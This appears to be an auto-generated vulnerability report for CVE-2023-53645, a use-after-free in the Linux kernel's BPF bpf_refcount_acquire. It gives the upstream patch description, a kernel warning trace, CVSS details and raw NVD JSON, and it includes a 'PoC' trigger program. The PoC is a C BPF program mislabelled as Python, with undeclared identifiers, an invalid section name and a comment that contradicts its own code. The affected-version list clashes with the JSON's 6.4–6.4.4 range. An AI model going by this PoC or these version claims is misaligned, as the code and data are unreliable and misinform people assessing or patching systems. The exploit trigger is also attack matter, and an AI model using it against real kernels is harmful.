Security Vulnerability Report
中文
CVE-2023-53645 CVSS 7.8 HIGH

CVE-2023-53645

Published: 2025-10-07 16:15:48
Last Modified: 2026-02-03 22:29:28
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: bpf: Make bpf_refcount_acquire fallible for non-owning refs This patch fixes an incorrect assumption made in the original bpf_refcount series [0], specifically that the BPF program calling bpf_refcount_acquire on some node can always guarantee that the node is alive. In that series, the patch adding failure behavior to rbtree_add and list_push_{front, back} breaks this assumption for non-owning references. Consider the following program: n = bpf_kptr_xchg(&mapval, NULL); /* skip error checking */ bpf_spin_lock(&l); if(bpf_rbtree_add(&t, &n->rb, less)) { bpf_refcount_acquire(n); /* Failed to add, do something else with the node */ } bpf_spin_unlock(&l); It's incorrect to assume that bpf_refcount_acquire will always succeed in this scenario. bpf_refcount_acquire is being called in a critical section here, but the lock being held is associated with rbtree t, which isn't necessarily the lock associated with the tree that the node is already in. So after bpf_rbtree_add fails to add the node and calls bpf_obj_drop in it, the program has no ownership of the node's lifetime. Therefore the node's refcount can be decr'd to 0 at any time after the failing rbtree_add. If this happens before the refcount_acquire above, the node might be free'd, and regardless refcount_acquire will be incrementing a 0 refcount. Later patches in the series exercise this scenario, resulting in the expected complaint from the kernel (without this patch's changes): refcount_t: addition on 0; use-after-free. WARNING: CPU: 1 PID: 207 at lib/refcount.c:25 refcount_warn_saturate+0xbc/0x110 Modules linked in: bpf_testmod(O) CPU: 1 PID: 207 Comm: test_progs Tainted: G O 6.3.0-rc7-02231-g723de1a718a2-dirty #371 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.15.0-0-g2dd4b9b3f840-prebuilt.qemu.org 04/01/2014 RIP: 0010:refcount_warn_saturate+0xbc/0x110 Code: 6f 64 f6 02 01 e8 84 a3 5c ff 0f 0b eb 9d 80 3d 5e 64 f6 02 00 75 94 48 c7 c7 e0 13 d2 82 c6 05 4e 64 f6 02 01 e8 64 a3 5c ff <0f> 0b e9 7a ff ff ff 80 3d 38 64 f6 02 00 0f 85 6d ff ff ff 48 c7 RSP: 0018:ffff88810b9179b0 EFLAGS: 00010082 RAX: 0000000000000000 RBX: 0000000000000002 RCX: 0000000000000000 RDX: 0000000000000202 RSI: 0000000000000008 RDI: ffffffff857c3680 RBP: ffff88810027d3c0 R08: ffffffff8125f2a4 R09: ffff88810b9176e7 R10: ffffed1021722edc R11: 746e756f63666572 R12: ffff88810027d388 R13: ffff88810027d3c0 R14: ffffc900005fe030 R15: ffffc900005fe048 FS: 00007fee0584a700(0000) GS:ffff88811b280000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 00005634a96f6c58 CR3: 0000000108ce9002 CR4: 0000000000770ee0 DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 PKRU: 55555554 Call Trace: <TASK> bpf_refcount_acquire_impl+0xb5/0xc0 (rest of output snipped) The patch addresses this by changing bpf_refcount_acquire_impl to use refcount_inc_not_zero instead of refcount_inc and marking bpf_refcount_acquire KF_RET_NULL. For owning references, though, we know the above scenario is not possible and thus that bpf_refcount_acquire will always succeed. Some verifier bookkeeping is added to track "is input owning ref?" for bpf_refcount_acquire calls and return false from is_kfunc_ret_null for bpf_refcount_acquire on owning refs despite it being marked KF_RET_NULL. Existing selftests using bpf_refcount_acquire are modified where necessary to NULL-check its return value. [0]: https://lore.kernel.org/bpf/[email protected]/

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
Linux Kernel < 6.3(包含6.3.0-rc7及之前版本)
Linux Kernel 6.3.x
Linux Kernel 6.4.x
Linux Kernel 6.5.x(修复前版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* CVE-2023-53645 PoC - BPF program triggering use-after-free via bpf_refcount_acquire */ #include <linux/bpf.h> #include <bpf/bpf_helpers.h> /* Simplified structure to demonstrate the vulnerability pattern */ struct node { struct bpf_rb_node rb; struct bpf_refcount refcount; int data; }; struct { __uint(type, BPF_MAP_TYPE_ARRAY); __type(key, u32); __type(value, struct node); __uint(max_entries, 1); } map SEC(".maps"); struct { __uint(type, BPF_MAP_TYPE_ARRAY); __type(key, u32); __type(value, struct bpf_spin_lock); __uint(max_entries, 1); } lock_map SEC(".maps"); /* Trigger the vulnerability: bpf_refcount_acquire on a node * whose refcount may have been decremented to 0 after a * failed bpf_rbtree_add operation */ SEC("kfunc") int trigger_uaf(struct __sk_buff *skb) { struct node *n; struct bpf_spin_lock *l; u32 key = 0; /* Step 1: Acquire node from map (non-owning ref initially) */ n = bpf_kptr_xchg(&map.element, NULL); if (!n) return 0; /* Step 2: Acquire spin lock for the rbtree */ l = bpf_map_lookup_elem(&lock_map, &key); if (!l) { bpf_obj_drop(n); return 0; } bpf_spin_lock(l); /* Step 3: Attempt to add node to rbtree - if it fails, * bpf_rbtree_add internally calls bpf_obj_drop(n), * which may decrement refcount to 0 and free the node */ if (bpf_rbtree_add(&target_tree, &n->rb, less)) { /* Step 4: VULNERABILITY - acquire on potentially freed node. * On vulnerable kernels, refcount_inc is used which * triggers "addition on 0; use-after-free" warning */ n = bpf_refcount_acquire(n); /* On fixed kernels, this can return NULL and must be checked */ if (!n) { bpf_spin_unlock(l); return 0; } /* Node successfully added, continue processing */ } bpf_spin_unlock(l); return 0; } char _license[] SEC("license") = "GPL";

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2023-53645", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-07T16:15:47.893", "lastModified": "2026-02-03T22:29:28.160", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nbpf: Make bpf_refcount_acquire fallible for non-owning refs\n\nThis patch fixes an incorrect assumption made in the original\nbpf_refcount series [0], specifically that the BPF program calling\nbpf_refcount_acquire on some node can always guarantee that the node is\nalive. In that series, the patch adding failure behavior to rbtree_add\nand list_push_{front, back} breaks this assumption for non-owning\nreferences.\n\nConsider the following program:\n\n n = bpf_kptr_xchg(&mapval, NULL);\n /* skip error checking */\n\n bpf_spin_lock(&l);\n if(bpf_rbtree_add(&t, &n->rb, less)) {\n bpf_refcount_acquire(n);\n /* Failed to add, do something else with the node */\n }\n bpf_spin_unlock(&l);\n\nIt's incorrect to assume that bpf_refcount_acquire will always succeed in this\nscenario. bpf_refcount_acquire is being called in a critical section\nhere, but the lock being held is associated with rbtree t, which isn't\nnecessarily the lock associated with the tree that the node is already\nin. So after bpf_rbtree_add fails to add the node and calls bpf_obj_drop\nin it, the program has no ownership of the node's lifetime. Therefore\nthe node's refcount can be decr'd to 0 at any time after the failing\nrbtree_add. If this happens before the refcount_acquire above, the node\nmight be free'd, and regardless refcount_acquire will be incrementing a\n0 refcount.\n\nLater patches in the series exercise this scenario, resulting in the\nexpected complaint from the kernel (without this patch's changes):\n\n refcount_t: addition on 0; use-after-free.\n WARNING: CPU: 1 PID: 207 at lib/refcount.c:25 refcount_warn_saturate+0xbc/0x110\n Modules linked in: bpf_testmod(O)\n CPU: 1 PID: 207 Comm: test_progs Tainted: G O 6.3.0-rc7-02231-g723de1a718a2-dirty #371\n Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.15.0-0-g2dd4b9b3f840-prebuilt.qemu.org 04/01/2014\n RIP: 0010:refcount_warn_saturate+0xbc/0x110\n Code: 6f 64 f6 02 01 e8 84 a3 5c ff 0f 0b eb 9d 80 3d 5e 64 f6 02 00 75 94 48 c7 c7 e0 13 d2 82 c6 05 4e 64 f6 02 01 e8 64 a3 5c ff <0f> 0b e9 7a ff ff ff 80 3d 38 64 f6 02 00 0f 85 6d ff ff ff 48 c7\n RSP: 0018:ffff88810b9179b0 EFLAGS: 00010082\n RAX: 0000000000000000 RBX: 0000000000000002 RCX: 0000000000000000\n RDX: 0000000000000202 RSI: 0000000000000008 RDI: ffffffff857c3680\n RBP: ffff88810027d3c0 R08: ffffffff8125f2a4 R09: ffff88810b9176e7\n R10: ffffed1021722edc R11: 746e756f63666572 R12: ffff88810027d388\n R13: ffff88810027d3c0 R14: ffffc900005fe030 R15: ffffc900005fe048\n FS: 00007fee0584a700(0000) GS:ffff88811b280000(0000) knlGS:0000000000000000\n CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n CR2: 00005634a96f6c58 CR3: 0000000108ce9002 CR4: 0000000000770ee0\n DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\n DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\n PKRU: 55555554\n Call Trace:\n <TASK>\n bpf_refcount_acquire_impl+0xb5/0xc0\n\n (rest of output snipped)\n\nThe patch addresses this by changing bpf_refcount_acquire_impl to use\nrefcount_inc_not_zero instead of refcount_inc and marking\nbpf_refcount_acquire KF_RET_NULL.\n\nFor owning references, though, we know the above scenario is not possible\nand thus that bpf_refcount_acquire will always succeed. Some verifier\nbookkeeping is added to track \"is input owning ref?\" for bpf_refcount_acquire\ncalls and return false from is_kfunc_ret_null for bpf_refcount_acquire on\nowning refs despite it being marked KF_RET_NULL.\n\nExisting selftests using bpf_refcount_acquire are modified where\nnecessary to NULL-check its return value.\n\n [0]: https://lore.kernel.org/bpf/[email protected]/"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.4", "versionEndExcluding": "6.4.4", "matchCriteriaId": "6AB81046-CB69-4115-924C-963B37C41385"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/ ... (truncated)